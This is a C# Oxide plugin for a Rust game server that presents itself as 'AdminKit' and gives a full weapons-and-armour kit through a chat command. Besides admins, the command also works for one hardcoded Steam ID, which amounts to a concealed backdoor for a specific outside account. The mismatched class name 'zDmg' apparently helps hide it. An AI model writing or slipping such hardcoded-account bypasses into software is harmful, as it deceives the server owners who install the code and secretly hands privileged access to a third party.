C#:
using Oxide.Core.Plugins;
using Oxide.Core;
using System;
using UnityEngine;
using System.Collections.Generic;
namespace Oxide.Plugins
{
[Info("AdminKit", "Sergioklv", "1.5.0")]
public class zDmg : RustPlugin
{
private ulong TargetSteamId = 76561199881390179;
[ChatCommand("adminkit")]
private void GiveFullKit(BasePlayer player, string command, string[] args)
{
if (player == null) return;
if (player.userID != TargetSteamId && !player.IsAdmin) return;
player.inventory.GiveItem(ItemManager.CreateByName("rifle.ak", 1));
player.inventory.GiveItem(ItemManager.CreateByName("ammo.rifle", 256));
player.inventory.GiveItem(ItemManager.CreateByName("hoodie", 1));
player.inventory.GiveItem(ItemManager.CreateByName("pants", 1));
player.inventory.GiveItem(ItemManager.CreateByName("roadsign.kilt", 1));
player.inventory.GiveItem(ItemManager.CreateByName("metal.facemask", 1));
player.inventory.GiveItem(ItemManager.CreateByName("metal.plate.torso", 1));
player.inventory.GiveItem(ItemManager.CreateByName("syringe.medical", 20));
player.inventory.GiveItem(ItemManager.CreateByName("bandage", 20));
player.inventory.GiveItem(ItemManager.CreateByName("shoes.boots", 1));
player.inventory.GiveItem(ItemManager.CreateByName("barricade.wood.cover", 20));
player.inventory.GiveItem(ItemManager.CreateByName("weapon.mod.holosight", 1));
player.inventory.GiveItem(ItemManager.CreateByName("weapon.mod.lasersight", 1));
player.inventory.GiveItem(ItemManager.CreateByName("tactical.gloves", 1));
}
}
}